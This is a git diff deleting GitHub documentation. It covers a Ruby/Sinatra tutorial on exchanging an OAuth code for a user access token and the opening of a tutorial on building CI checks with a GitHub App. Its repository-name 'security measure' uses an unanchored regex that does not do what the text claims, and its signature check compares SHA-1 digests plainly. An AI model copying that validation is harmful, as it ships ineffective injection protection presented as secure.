ENV.fetch("CLIENT_SECRET") - ``` - -1. Add the following code to `app.rb` to display a link that will prompt users to authenticate your app. - - ```ruby copy - get "/" do - link = '<a href="{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=<%= CLIENT_ID %>">Login with GitHub</a>' - erb link - end - ``` - -1. Add the following code to `app.rb` to handle requests to your app's callback URL and get the `code` parameter from the request. Replace `CALLBACK_URL` with the callback URL for your app, minus the domain. For example, if your callback URL is `http://localhost:4567/github/callback`, replace `CALLBACK_URL` with `/github/callback`. - - ```ruby copy - get "CALLBACK_URL" do - code = params["code"] - render = "Successfully authorized! Got code #{code}." - erb render - end - ``` - - Currently, the code just renders a message along with the `code` parameter. The following steps will expand this code block. - -1. Optionally, check your progress: - - `app.rb` now looks like this, where `CALLBACK_URL` is the callback URL for your app, minus the domain: - - ```ruby copy - require "sinatra" - require "dotenv/load" - require "net/http" - require "json" - - CLIENT_ID = ENV.fetch("CLIENT_ID") - CLIENT_SECRET = ENV.fetch("CLIENT_SECRET") - - get "/" do - link = '<a href="{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=<%= CLIENT_ID %>">Login with GitHub</a>' - erb link - end - - get "CALLBACK_URL" do - code = params["code"] - render = "Successfully authorized! Got code #{code}." - erb render - end - ``` - - 1. In your terminal, from the directory where `app.rb` is stored, run `ruby app.rb`. A local Sinatra server should start. - 1. In your browser, navigate to `http://localhost:4567`. You should see a link with the text "Login with {% data variables.product.github %}". - 1. Click on the "Login with {% data variables.product.github %}" link. - - If you have not authorized the app, clicking on the link should take you to `{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=CLIENT_ID`, where `CLIENT_ID` is the client ID of your app. This is a {% data variables.product.github %} page that prompts users to authorize your app. If you click the button to authorize your app, you will go to the callback URL for your app. - - If you previously authorized your app and the authorization has not been revoked, you will skip the authorization prompt and go directly to the callback URL instead. You can revoke your previous authorization if you want to see the authorization prompt. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). - 1. The callback URL page, reached by clicking the "Login with {% data variables.product.github %}" link and then authorizing the app if prompted to do so, should display the text similar to "Successfully authorized! Got code agc622abb6135be5d1f2." - 1. In your terminal where Sinatra is running, stop the server by entering <kbd>Ctrl</kbd>+<kbd>C</kbd>. -1. Replace the content of `app.rb` with the following code, where `CALLBACK_URL` is the callback URL for your app, minus the domain. - - This code adds logic to exchange the `code` parameter for a user access token: - - * The `parse_response` function parses the response from the GitHub API. - * The `exchange_code` function exchanges the `code` parameter for a user access token. - * The handler for the callback URL request now calls `exchange_code` to exchange the code parameter for a user access token. - * The callback page now shows text to indicate that a token was generated. If the token generation was not successful, the page will indicate that failure. - - ```ruby copy - require "sinatra" - require "dotenv/load" - require "net/http" - require "json" - - CLIENT_ID = ENV.fetch("CLIENT_ID") - CLIENT_SECRET = ENV.fetch("CLIENT_SECRET") - - def parse_response(response) - case response - when Net::HTTPOK - JSON.parse(response.body) - else - puts response - puts response.body - {} - end - end - - def exchange_code(code) - params = { - "client_id" => CLIENT_ID, - "client_secret" => CLIENT_SECRET, - "code" => code - } - result = Net::HTTP.post( - URI("{% data variables.product.oauth_host_code %}/login/oauth/access_token"), - URI.encode_www_form(params), - {"Accept" => "application/json"} - ) - - parse_response(result) - end - - get "/" do - link = '<a href="{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=<%= CLIENT_ID %>">Login with GitHub</a>' - erb link - end - - get "CALLBACK_URL" do - code = params["code"] - - token_data = exchange_code(code) - - if token_data.key?("access_token") - token = token_data["access_token"] - - render = "Successfully authorized! Got code #{code} and exchanged it for a user access token ending in #{token[-9..-1]}." - erb render - else - render = "Authorized, but unable to exchange code #{code} for token." - erb render - end - end - ``` - -1. Optionally, check your progress: - 1. In your terminal, from the directory where `app.rb` is stored, run `ruby app.rb`. A local Sinatra server should start. - 1. In your browser, navigate to `http://localhost:4567`. You should see a link with the text "Login with {% data variables.product.github %}". - 1. Click on the "Login with {% data variables.product.github %}" link. - 1. If prompted to do so, authorize your app. - 1. The callback URL page, reached by clicking the "Login with {% data variables.product.github %}" link and then authorizing the app if prompted to do so, should display the text similar to "Successfully authorized! Got code 4acd44861aeda86dacce and exchanged it for a user access token ending in 2zU5kQziE." - 1. In your terminal where Sinatra is running, stop the server by entering <kbd>Ctrl</kbd>+<kbd>C</kbd>. - -1. Now that you have a user access token, you can use the token to make API requests on behalf of the user. For example: - - Add this function to `app.rb` to get information about the user with the `/user` REST API endpoint: - - ```ruby copy - def user_info(token) - uri = URI("{% data variables.product.rest_url %}/user") - - result = Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http| - auth = "Bearer #{token}" - headers = {"Accept" => "application/json", "Content-Type" => "application/json", "Authorization" => auth} - - http.send_request("GET", uri.path, nil, headers) - end - - parse_response(result) - end - ``` - - Update the callback handler to call the `user_info` function and to display the user's name and {% data variables.product.github %} login. Remember to replace `CALLBACK_URL` with the callback URL for your app, minus the domain. - - ```ruby copy - get "CALLBACK_URL" do - code = params["code"] - - token_data = exchange_code(code) - - if token_data.key?("access_token") - token = token_data["access_token"] - - user_info = user_info(token) - handle = user_info["login"] - name = user_info["name"] - - render = "Successfully authorized! Welcome, #{name} (#{handle})." - erb render - else - render = "Authorized, but unable to exchange code #{code} for token." - erb render - end - end - ``` - -1. Check your code against the full code example in the next section. You can test your code by following the steps outlined in the [Testing](#testing) section below the full code example. - -## Full code example - -This is the full code example that was outlined in the previous section. - -Replace `CALLBACK_URL` with the callback URL for your app, minus the domain. For example, if your callback URL is `http://localhost:4567/github/callback`, replace `CALLBACK_URL` with `/github/callback`. - -```ruby copy -require "sinatra" -require "dotenv/load" -require "net/http" -require "json" - -CLIENT_ID = ENV.fetch("CLIENT_ID") -CLIENT_SECRET = ENV.fetch("CLIENT_SECRET") - -def parse_response(response) - case response - when Net::HTTPOK - JSON.parse(response.body) - else - puts response - puts response.body - {} - end -end - -def exchange_code(code) - params = { - "client_id" => CLIENT_ID, - "client_secret" => CLIENT_SECRET, - "code" => code - } - result = Net::HTTP.post( - URI("{% data variables.product.oauth_host_code %}/login/oauth/access_token"), - URI.encode_www_form(params), - {"Accept" => "application/json"} - ) - - parse_response(result) -end - -def user_info(token) - uri = URI("{% data variables.product.rest_url %}/user") - - result = Net::HTTP.start(uri.host, uri.port, use_ssl: true) do |http| - auth = "Bearer #{token}" - headers = {"Accept" => "application/json", "Content-Type" => "application/json", "Authorization" => auth} - - http.send_request("GET", uri.path, nil, headers) - end - - parse_response(result) -end - -get "/" do - link = '<a href="{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=<%= CLIENT_ID %>">Login with GitHub</a>' - erb link -end - -get "CALLBACK_URL" do - code = params["code"] - - token_data = exchange_code(code) - - if token_data.key?("access_token") - token = token_data["access_token"] - - user_info = user_info(token) - handle = user_info["login"] - name = user_info["name"] - - render = "Successfully authorized! Welcome, #{name} (#{handle})." - erb render - else - render = "Authorized, but unable to exchange code #{code} for token." - erb render - end -end -``` - -## Testing - -This tutorial assumes that your app code is stored in a file named `app.rb` and that you are using the default URL for a local Sinatra application, `http://localhost:4567`. - -1. In your terminal, from the directory where `app.rb` is stored, run `ruby app.rb`. A local Sinatra server should start. -1. In your browser, navigate to `http://localhost:4567`. You should see a link with the text "Login with {% data variables.product.github %}". -1. Click on the "Login with {% data variables.product.github %}" link. - - If you have not authorized the app, clicking on the link should take you to `{% data variables.product.oauth_host_code %}/login/oauth/authorize?client_id=CLIENT_ID`, where `CLIENT_ID` is the client ID of your app. This is a {% data variables.product.github %} page that prompts users to authorize your app. If you click the button to authorize your app, you will go to the callback URL for your app. - - If you previously authorized your app and the authorization has not been revoked, you will skip the authorization prompt and go directly to the callback URL instead. You can revoke your previous authorization if you want to see the authorization prompt. For more information, see [AUTOTITLE](/apps/using-github-apps/reviewing-your-authorized-integrations). - -1. The callback URL page, reached by clicking the "Login with {% data variables.product.github %}" link and then authorizing the app if prompted to do so, should display the text similar to "Successfully authorized! Welcome, Mona Lisa (octocat)." -1. In your terminal where Sinatra is running, stop the server by entering <kbd>Ctrl</kbd>+<kbd>C</kbd>. - -## Next steps - -### Securely store your client secret - -You should never publicize your app's client secret. This tutorial stored the client secret in a gitignored `.env` file and accessed the value with `ENV.fetch`. When you deploy your app, you should choose a secure way to store the client secret and update your code to get the value accordingly. - -For example, you can store the secret in an environment variable on the server where your application is deployed. You can also use a secret management service like Azure Key Vault. - -### Update the callback URL for deployment - -This tutorial used a callback URL starting with `http://localhost:4567`. However, `http://localhost:4567` is only available locally to your computer when you start the Sinatra server. Before you deploy your app, you should update the callback URL to use the callback URL that you use in production. For more information about updating the callback URL for your app, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app) and [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/about-the-user-authorization-callback-url). - -### Handle multiple callback URLs - -This tutorial used a single callback URL, but your app can have up to 10 callback URLs. If you want to use multiple callback URLs: - -* Add the additional callback URLs to your app. For more information about adding callback URLs, see [AUTOTITLE](/apps/maintaining-github-apps/modifying-a-github-app). -* When you link to `{% data variables.product.oauth_host_code %}/login/oauth/authorize`, use the `redirect_uri` query parameter to redirect users to the desired callback URL. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app#using-the-web-application-flow-to-generate-a-user-access-token). -* In your app code, handle each callback URL, similar to the code block starting in `get "CALLBACK_URL" do`. - -### Specify additional parameters - -When you link to `{% data variables.product.oauth_host_code %}/login/oauth/authorize`, you can pass additional query parameters. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/generating-a-user-access-token-for-a-github-app#using-the-web-application-flow-to-generate-a-user-access-token). - -Unlike a traditional OAuth token, the user access token does not use scopes so you cannot specify scopes via the `scope` parameter. Instead, it uses fine-grained permissions. A user access token only has permissions that both the user and the app have. - -### Adjust the code to meet your app's needs - -This tutorial demonstrated how to display information about the authenticated user, but you can adjust this code to take other actions. Remember to update your app's permissions if your app needs additional permissions for the API requests that you want to make. For more information, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/choosing-permissions-for-a-github-app). - -This tutorial stored all of the code into a single file, but you may want to move functions and components into separate files. - -### Securely store tokens - -This tutorial generates a user access token. Unless you opted out of expiration for user access tokens, the user access token will expire after eight hours. You will also receive a refresh token that can regenerate a user access token. For more information, see [AUTOTITLE](/apps/creating-github-apps/authenticating-with-a-github-app/refreshing-user-access-tokens). - -If you plan on interacting further with {% data variables.product.company_short %}'s APIs, you should store the token for future use. If you choose to store the user access token or refresh token, you must store it securely. You should never publicize the token. - -For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). - -### Follow best practices - -You should aim to follow best practices with your {% data variables.product.prodname_github_app %}. For more information, see [AUTOTITLE](/apps/creating-github-apps/setting-up-a-github-app/best-practices-for-creating-a-github-app). diff --git a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-ci-checks-with-a-github-app.md b/content/apps/creating-github-apps/writing-code-for-a-github-app/building-ci-checks-with-a-github-app.md deleted file mode 100644 index 33e798494944..000000000000 --- a/content/apps/creating-github-apps/writing-code-for-a-github-app/building-ci-checks-with-a-github-app.md +++ /dev/null @@ -1,1621 +0,0 @@ ---- -title: Building CI checks with a GitHub App -shortTitle: Build CI checks -intro: 'Build a continuous integration server to run tests using a {% data variables.product.prodname_github_app %} and checks.' -redirect_from: - - /apps/quickstart-guides/creating-ci-tests-with-the-checks-api - - /developers/apps/creating-ci-tests-with-the-checks-api - - /developers/apps/guides/creating-ci-tests-with-the-checks-api - - /apps/creating-github-apps/guides/creating-ci-tests-with-the-checks-api - - /apps/creating-github-apps/writing-code-for-a-github-app/creating-ci-tests-with-the-checks-api -versions: - fpt: '*' - ghes: '*' - ghec: '*' -topics: - - GitHub Apps ---- -## Introduction - -This tutorial demonstrates how to build a continuous integration (CI) server that runs tests on new code that's pushed to a repository. The tutorial shows how to build and configure a {% data variables.product.prodname_github_app %} to act as a server that receives and responds to `check_run` and `check_suite` webhook events using {% data variables.product.prodname_dotcom %}'s REST API. - -In this tutorial, you will use your computer or codespace as a server while you develop your app. Once the app is ready for production use, you should deploy your app to a dedicated server. - -This tutorial uses Ruby, but you can use any programming language that you can run on your server. - -This tutorial is broken into two parts: - -* In part one, you'll learn how to set up the framework for a CI server using {% data variables.product.prodname_dotcom %}'s REST API, create new check runs for CI tests when a repository receives newly pushed commits, and re-run check runs when a user requests that action on {% data variables.product.prodname_dotcom %}. -* In part two, you'll add functionality to your CI test, by adding a linter test to your CI server. You'll also create annotations that are displayed in the **Checks** and **Files Changed** tab of a pull request, and automatically fix linter recommendations by exposing a "Fix this" button in the **Checks** tab of the pull request. - -### About continuous integration (CI) - -CI is a software practice that requires frequently committing code to a shared repository. Committing code more often raises errors sooner and reduces the amount of code a developer needs to debug when finding the source of an error. Frequent code updates also make it easier to merge changes from different members of a software development team. This is great for developers, who can spend more time writing code and less time debugging errors or resolving merge conflicts. - -A CI server hosts code that runs CI tests such as code linters (which check style formatting), security checks, code coverage, and other checks against new code commits in a repository. CI servers can even build and deploy code to staging or production servers. For examples of the types of CI tests you can create with a {% data variables.product.prodname_github_app %}, see the [continuous integration apps](https://github.com/marketplace/category/continuous-integration) that are available in {% data variables.product.prodname_marketplace %}. - -### About checks - -{% data variables.product.prodname_dotcom %}'s REST API allows you to set up CI tests (checks) that are automatically run against each code commit in a repository. The API reports detailed information about each check in the pull request's **Checks** tab on {% data variables.product.prodname_dotcom %}. You can use checks in a repository to determine when a code commit introduces errors. - -Checks include check runs, check suites, and commit statuses. - -* A _check run_ is an individual CI test that runs on a commit. -* A _check suite_ is a group of check runs. -* A _commit status_ marks the state of a commit, for example `error`, `failure`, `pending`, or `success`, and is visible in a pull request on {% data variables.product.prodname_dotcom %}. Both check suites and check runs contain commit statuses. - -{% data variables.product.prodname_dotcom %} automatically creates `check_suite` events for new code commits in a repository using the default flow, although you can change the default settings. For more information, see [AUTOTITLE](/rest/checks/suites#update-repository-preferences-for-check-suites). Here's how the default flow works: - -1. When someone pushes code to the repository, {% data variables.product.prodname_dotcom %} automatically sends the `check_suite` event with an action of `requested` to all {% data variables.product.prodname_github_apps %} installed on the repository that have the `checks:write` permission. This event lets the apps know that code was pushed to the repository, and that {% data variables.product.prodname_dotcom %} has automatically created a new check suite. -1. When your app receives this event, it can add check runs to that suite. -1. Your check runs can include annotations that are displayed on specific lines of code. Annotations are visible in the **Checks** tab. When you create an annotation for a file that is part of the pull request, the annotations are also shown in the **Files changed** tab. For more information, see the `annotations` object in [AUTOTITLE](/rest/checks/runs#create-a-check-run). - -For more information about checks, see [AUTOTITLE](/rest/checks) and [AUTOTITLE](/rest/guides/using-the-rest-api-to-interact-with-checks). - -## Prerequisites - -This tutorial assumes you have a basic understanding of the [Ruby programming language](https://www.ruby-lang.org/en/). - -Before you get started, you may want to familiarize yourself with the following concepts: - -* [{% data variables.product.prodname_github_apps %}](/apps) -* [Webhooks](/webhooks-and-events/webhooks/about-webhooks) -* [REST API checks endpoints](/rest/checks) - -Checks are also available to use with the GraphQL API, but this tutorial focuses on the REST API. For more information about the GraphQL objects, see [Check Suite](/graphql/reference/objects#checksuite) and [Check Run](/graphql/reference/objects#checkrun) in the GraphQL documentation. - -## Setup - -The following sections will lead you through setting up the following components: - -* A repository to store the code for your app. -* A way to receive webhooks locally. -* A {% data variables.product.prodname_github_app %} that is subscribed to "Check suite" and "Check run" webhook events, has write permission for checks, and uses a webhook URL that you can receive locally. - -### Create a repository to store code for your {% data variables.product.prodname_github_app %} - -1. Create a repository to store the code for your app. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/creating-a-new-repository). -1. Clone your repository from the previous step. For more information, see [AUTOTITLE](/repositories/creating-and-managing-repositories/cloning-a-repository). You may use a local clone or {% data variables.product.prodname_github_codespaces %}. -1. In a terminal, navigate to the directory where your clone is stored. -1. Create a Ruby file named `server.rb`. This file will contain all the code for your app. You will add content to this file later. -1. If the directory doesn't already include a `.gitignore` file, add a `.gitignore` file. You will add content to this file later. For more information about `.gitignore` files, see [AUTOTITLE](/get-started/git-basics/ignoring-files). -1. Create a file named `Gemfile`. This file will describe the gem dependencies that your Ruby code needs. Add the following contents to your `Gemfile`: - - ```ruby copy - source 'http://rubygems.org' - - gem 'sinatra', '~> 2.0' - gem 'jwt', '~> 2.1' - gem 'octokit', '~> 4.0' - gem 'puma' - gem 'rubocop' - gem 'dotenv' - gem 'git' - ``` - -1. Create a file named `config.ru`. This file will configure your Sinatra server to run. Add the following contents to your `config.ru` file: - - ```ruby copy - require './server' - run GHAapp - ``` - -### Get a webhook proxy URL - -In order to develop your app locally, you can use a webhook proxy URL to forward webhook events from {% data variables.product.company_short %} to your computer or codespace. This tutorial uses Smee.io to provide a webhook proxy URL and forward events. - -1. In a terminal, run the following command to install the Smee client: - - ```shell copy - npm install --global smee-client - ``` - -1. In your browser, navigate to https://smee.io/. -1. Click **Start a new channel**. -1. Copy the full URL under "Webhook Proxy URL". -1. In the terminal, run the following command to start the Smee client. Replace `YOUR_DOMAIN` with the Webhook Proxy URL you copied in the previous step. - - ```shell copy - smee --url YOUR_DOMAIN --path /event_handler --port 3000 - ``` - - You should see output like the following: - - ```shell - Forwarding https://smee.io/YOUR_DOMAIN to http://127.0.0.1:3000/event_handler - Connected https://smee.io/YOUR_DOMAIN - ``` - -The `smee --url https://smee.io/YOUR_DOMAIN` command tells Smee to forward all webhook events received by the Smee channel to the Smee client running on your computer. The `--path /event_handler` option forwards events to the `/event_handler` route. The `--port 3000` option specifies port 3000, which is the port you will tell your server to listen to, when you add more code later in the tutorial. Using Smee, your machine does not need to be open to the public internet to receive webhooks from {% data variables.product.prodname_dotcom %}. You can also open that Smee URL in your browser to inspect webhook payloads as they come in. - -We recommend leaving this terminal window open and keeping Smee connected while you complete the rest of the steps in this guide. Although you can disconnect and reconnect the Smee client without losing your unique domain, you may find it easier to leave it connected and do other command-line tasks in a different terminal window. - -### Register a {% data variables.product.prodname_github_app %} - -For this tutorial, you must register a {% data variables.product.prodname_github_app %} that: - -* Has webhooks active -* Uses a webhook URL that you can receive locally -* Has the "Checks" repository permission -* Subscribes to the "Check suite" and "Check run" webhook events - -The following steps will guide you through configuring a {% data variables.product.prodname_github_app %} with these settings. For more information about {% data variables.product.prodname_github_app %} settings, see [AUTOTITLE](/apps/creating-github-apps/creating-github-apps/creating-a-github-app). - -{% data reusables.apps.settings-step %} -{% data reusables.apps.enterprise-apps-steps %} -1. Click **New {% data variables.product.prodname_github_app %}**. -1. Under "{% data variables.product.prodname_github_app %} name", enter a name for your app. For example, `USERNAME-ci-test-app` where `USERNAME` is your {% data variables.product.company_short %} username. -1. Under "Homepage URL", enter a URL for your app. For example, you can use the URL of the repository that you created to store the code for your app. -1. Skip the "Identifying and authorizing users" and "Post installation" sections for this tutorial. -1. Make sure that **Active** is selected under "Webhooks". -1. Under "Webhook URL", enter your webhook proxy URL from earlier. For more information, see [Get a webhook proxy URL](#get-a-webhook-proxy-url). -1. Under "Webhook secret", enter a random string. This secret is used to verify that webhooks are sent by {% data variables.product.prodname_dotcom %}. Save this string; you will use it later. -1. Under "Repository permissions", next to "Checks", select **Read & write**. -1. Under "Subscribe to events", select **Check suite** and **Check run**. -1. Under "Where can this {% data variables.product.prodname_github_app %} be installed?", select **Only on this account**. You can change this later if you want to publish your app.{% ifversion enterprise-apps-public-beta %} - >[!NOTE] If your {% data variables.product.prodname_github_app %} is registered under an enterprise, this step does not apply.{% endif %} -1. Click **Create {% data variables.product.prodname_github_app %}**. - -### Store your app's identifying information and credentials - -This tutorial will show you how to store your app's credentials and identifying information as environment variables in a `.env` file. When you deploy your app, you should change how you store the credentials. For more information, see [Deploy your app](#deploy-your-app). - -Make sure that you are on a secure machine before performing these steps, since you will store your credentials locally. - -1. In your terminal, navigate to the directory where your clone is stored. -1. Create a file called `.env` at the top level of this directory. -1. Add `.env` to your `.gitignore` file. This will prevent you from accidentally committing your app's credentials. -1. Add the following contents to your `.env` file. {% ifversion ghes %}Replace `YOUR_HOSTNAME` with the name of {% data variables.location.product_location %}. You will update the other values in a later step.{% else %}You will update the values in a later step.{% endif %} - - ```shell copy - GITHUB_APP_IDENTIFIER="YOUR_APP_ID" - GITHUB_WEBHOOK_SECRET="YOUR_WEBHOOK_SECRET" - GITHUB_PRIVATE_KEY="YOUR_PRIVATE_KEY" - ``` - -1. {% data reusables.apps.navigate-to-app-settings-page %} -1. On your app's settings page, next to "App ID", find the app ID for your app. -1. In your `.env` file, replace `YOUR_APP_ID` with the app ID of your app. -1. In your `.env` file, replace `YOUR_WEBHOOK_SECRET` with the webhook secret for your app. If you have forgotten your webhook secret, under "Webhook secret (optional)", click **Change secret**. Enter a new secret, then click **Save changes**. -1. On your app's settings page, under "Private keys", click **Generate a private key**. You will see a private key `.pem` file downloaded to your computer. -1. Open the `.pem` file with a text editor, or use the following command on the command line to display the contents of the file: `cat PATH/TO/YOUR/private-key.pem`. -1. Copy and paste the entire contents of the file into your `.env` file as the value of `GITHUB_PRIVATE_KEY`, and add double quotes around the entire value. - - Here is an example .env file: - - ```shell - GITHUB_APP_IDENTIFIER=12345 - GITHUB_WEBHOOK_SECRET=your webhook secret - GITHUB_PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY----- - ... - HkVN9... - ... - -----END RSA PRIVATE KEY-----" - ``` - -## Add code for your {% data variables.product.prodname_github_app %} - -This section will show you how to add some basic template code for your {% data variables.product.prodname_github_app %}, and it will explain what the code does. Later in the tutorial, you will learn how to modify and add to this code, to build out your app's functionality. - -Add the following template code to your `server.rb` file: - -```ruby copy -require 'sinatra/base' # Use the Sinatra web framework -require 'octokit' # Use the Octokit Ruby library to interact with GitHub's REST API -require 'dotenv/load' # Manages environment variables -require 'json' # Allows your app to manipulate JSON data -require 'openssl' # Verifies the webhook signature -require 'jwt' # Authenticates a GitHub App -require 'time' # Gets ISO 8601 representation of a Time object -require 'logger' # Logs debug statements - -# This code is a Sinatra app, for two reasons: -# 1. Because the app will require a landing page for installation. -# 2. To easily handle webhook events. - -class GHAapp < Sinatra::Application - - # Sets the port that's used when starting the web server. - set :port, 3000 - set :bind, '0.0.0.0' - - # Expects the private key in PEM format. Converts the newlines. - PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) - - # Your registered app must have a webhook secret. - # The secret is used to verify that webhooks are sent by GitHub. - WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET'] - - # The GitHub App's identifier (type integer). - APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER'] - - # Turn on Sinatra's verbose logging during development - configure :development do - set :logging, Logger::DEBUG - end - - - # Executed before each request to the `/event_handler` route - before '/event_handler' do - get_payload_request(request) - verify_webhook_signature - - # If a repository name is provided in the webhook, validate that - # it consists only of latin alphabetic characters, `-`, and `_`. - unless @payload['repository'].nil? - halt 400 if (@payload['repository']['name'] =~ /[0-9A-Za-z\-\_]+/).nil? - end - - authenticate_app - # Authenticate the app installation in order to run API operations - authenticate_installation(@payload) - end - - - post '/event_handler' do - - # ADD EVENT HANDLING HERE # - - 200 # success status - end - - - helpers do - - # ADD CREATE_CHECK_RUN HELPER METHOD HERE # - - # ADD INITIATE_CHECK_RUN HELPER METHOD HERE # - - # ADD CLONE_REPOSITORY HELPER METHOD HERE # - - # ADD TAKE_REQUESTED_ACTION HELPER METHOD HERE # - - # Saves the raw payload and converts the payload to JSON format - def get_payload_request(request) - # request.body is an IO or StringIO object - # Rewind in case someone already read it - request.body.rewind - # The raw text of the body is required for webhook signature verification - @payload_raw = request.body.read - begin - @payload = JSON.parse @payload_raw - rescue => e - fail 'Invalid JSON (#{e}): #{@payload_raw}' - end - end - - # Instantiate an Octokit client authenticated as a GitHub App. - # GitHub App authentication requires that you construct a - # JWT (https://jwt.io/introduction/) signed with the app's private key, - # so GitHub can be sure that it came from the app and not altered by - # a malicious third party. - def authenticate_app - payload = { - # The time that this JWT was issued, _i.e._ now. - iat: Time.now.to_i, - - # JWT expiration time (10 minute maximum) - exp: Time.now.to_i + (10 * 60), - - # Your GitHub App's identifier number - iss: APP_IDENTIFIER - } - - # Cryptographically sign the JWT. - jwt = JWT.encode(payload, PRIVATE_KEY, 'RS256') - - # Create the Octokit client, using the JWT as the auth token. - @app_client ||= Octokit::Client.new(bearer_token: jwt) - end - - # Instantiate an Octokit client, authenticated as an installation of a - # GitHub App, to run API operations. - def authenticate_installation(payload) - @installation_id = payload['installation']['id'] - @installation_token = @app_client.create_app_installation_access_token(@installation_id)[:token] - @installation_client = Octokit::Client.new(bearer_token: @installation_token) - end - - # Check X-Hub-Signature to confirm that this webhook was generated by - # GitHub, and not a malicious third party. - # - # GitHub uses the WEBHOOK_SECRET, registered to the GitHub App, to - # create the hash signature sent in the `X-HUB-Signature` header of each - # webhook. This code computes the expected hash signature and compares it to - # the signature sent in the `X-HUB-Signature` header. If they don't match, - # this request is an attack, and you should reject it. GitHub uses the HMAC - # hexdigest to compute the signature. The `X-HUB-Signature` looks something - # like this: 'sha1=123456'. - def verify_webhook_signature - their_signature_header = request.env['HTTP_X_HUB_SIGNATURE'] || 'sha1=' - method, their_digest = their_signature_header.split('=') - our_digest = OpenSSL::HMAC.hexdigest(method, WEBHOOK_SECRET, @payload_raw) - halt 401 unless their_digest == our_digest - - # The X-GITHUB-EVENT header provides the name of the event. - # The action value indicates the which action triggered the event. - logger.debug "---- received event #{request.env['HTTP_X_GITHUB_EVENT']}" - logger.debug "---- action #{@payload['action']}" unless @payload['action'].nil? - end - - end - - # Finally some logic to let us run this server directly from the command line, - # or with Rack. Don't worry too much about this code. But, for the curious: - # $0 is the executed file - # __FILE__ is the current file - # If they are the same—that is, we are running this file directly, call the - # Sinatra run method - run! if __FILE__ == $0 -end -``` - -The rest of this section will explain what the template code does. There aren't any steps that you need to complete in this section. If you're already familiar with the template code, you can skip ahead to [Start the server](#start-the-server). - -### Understand the template code - -Open the `server.rb` file in a text editor. You'll see comments throughout the file that provide additional context for the template code. We recommend reading those comments carefully and even adding your own comments to accompany new code you write. - -Below the list of required files, the first code you'll see is the `class GHApp < Sinatra::Application` declaration. You'll write all of the code for your {% data variables.product.prodname_github_app %} inside this class. The following sections explain in detail what the code does inside this class. - -* [Set the port](#set-the-port) -* [Read the environment variables](#read-the-environment-variables) -* [Turn on logging](#turn-on-logging) -* [Define a `before` filter](#define-a-before-filter) -* [Define the route handler](#define-a-route-handler) -* [Define the helper methods](#define-the-helper-methods) - -#### Set the port - -The first thing you'll see inside the `class GHApp < Sinatra::Application` declaration is `set :port 3000`. This sets the port used when starting the web server, to match the port you redirected your webhook payloads to in [Get a Webhook Proxy URL](#get-a-webhook-proxy-url). - -```ruby - # Sets the port that's used when starting the web server. - set :port, 3000 - set :bind, '0.0.0.0' -``` - -#### Read the environment variables - -Next, this class reads the three environment variables you set in [Store your app's identifying information and credentials](#store-your-apps-identifying-information-and-credentials), and stores them in variables to use later. - -```ruby -# Expects the private key in PEM format. Converts the newlines. -PRIVATE_KEY = OpenSSL::PKey::RSA.new(ENV['GITHUB_PRIVATE_KEY'].gsub('\n', "\n")) - -# Your registered app must have a webhook secret. -# The secret is used to verify that webhooks are sent by GitHub. -WEBHOOK_SECRET = ENV['GITHUB_WEBHOOK_SECRET'] - -# The GitHub App's identifier (type integer). -APP_IDENTIFIER = ENV['GITHUB_APP_IDENTIFIER'] -``` - -#### Turn on logging - -Next is a code block that enables logging during development, which is the default environment in Sinatra. This code turns on logging at the `DEBUG` level to show useful output in the terminal while you are developing the app. - -```ruby -# Turn on Sinatra's verbose logging during development -configure :development do - set :logging, Logger::DEBUG -end -``` - -#### Define a `before` filter - -Sinatra uses `before` filters that allow you to execute code before the route handler. The `before` block in the template calls four helper methods: `get_payload_request`, `verify_webhook_signature`, `authenticate_app`, and `authenticate_installation`. For more information, see [Filters](https://github.com/sinatra/sinatra#filters) and [Helpers](https://github.com/sinatra/sinatra#helpers) in the Sinatra documentation. - -```ruby - # Executed before each request to the `/event_handler` route - before '/event_handler' do - get_payload_request(request) - verify_webhook_signature - - # If a repository name is provided in the webhook, validate that - # it consists only of latin alphabetic characters, `-`, and `_`. - unless @payload['repository'].nil? - halt 400 if (@payload['repository']['name'] =~ /[0-9A-Za-z\-\_]+/).nil? - end - - authenticate_app - # Authenticate the app installation in order to run API operations - authenticate_installation(@payload) - end -``` - -Each of these helper methods are defined later in the code, in the code block that starts with `helpers do`. For more information, see [Define the helper methods](#define-the-helper-methods). - -Under `verify_webhook_signature`, the code that starts with `unless @payload` is a security measure. If a repository name is provided with a webhook payload, this code validates that the repository name contains only Latin alphabetic characters, hyphens, and underscores. This helps ensure that a bad actor isn't attempting to execute arbitrary commands or inject false repository names. Later, in the code block that starts with `helpers do`, the `verify_webhook_signature` helper method also validates incoming webhook payloads as an additional security measure. - -#### Define a route handler - -An empty route is included in the template code. This code handles all `POST` requests to the `/event_handler` route. You will add more code to this later. - -```ruby -post '/event_handler' do - -end -``` - -#### Define the helper methods - -Four helper methods are called in the `before` block of the template code. The `helpers do` code block defines each of these helper methods. - -##### Handling the webhook payload - -The first helper method `get_payload_request` captures the webhook payload and converts it to JSON format, which makes accessing the payload's data much easier. - -##### Verifying the webhook signature - -The second helper method `verify_webhook_signature` performs verification of the webhook signature to ensure that {% data variables.product.prodname_dotcom %} generated the event. To learn more about the code in the `verify_webhook_signature` helper method, see [AUTOTITLE](/webhooks-and-events/webhooks/securing-your-webhooks). If the webhooks are secure, this method will log all incoming payloads to your terminal. The logger code is helpful in verifying your web server is working. - -##### Authenticating as a {% data 